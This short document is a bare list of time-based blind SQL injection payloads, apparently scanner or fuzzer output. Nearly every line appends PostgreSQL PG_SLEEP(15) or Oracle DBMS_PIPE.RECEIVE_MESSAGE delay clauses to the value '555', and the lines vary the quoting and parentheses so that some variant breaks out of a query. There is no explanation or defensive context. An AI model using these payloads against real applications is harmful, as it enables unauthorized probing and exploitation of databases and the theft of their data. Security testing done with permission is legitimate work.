555-1 OR 461=(SELECT 461 FROM PG_SLEEP(15))--

555-1) OR 175=(SELECT 175 FROM PG_SLEEP(15))--

555-1)) OR 443=(SELECT 443 FROM PG_SLEEP(15))--

5557qBkI0g1' OR 645=(SELECT 645 FROM PG_SLEEP(15))--

555XPoIfC2w') OR 828=(SELECT 828 FROM PG_SLEEP(15))--

555seieGRY9')) OR 883=(SELECT 883 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555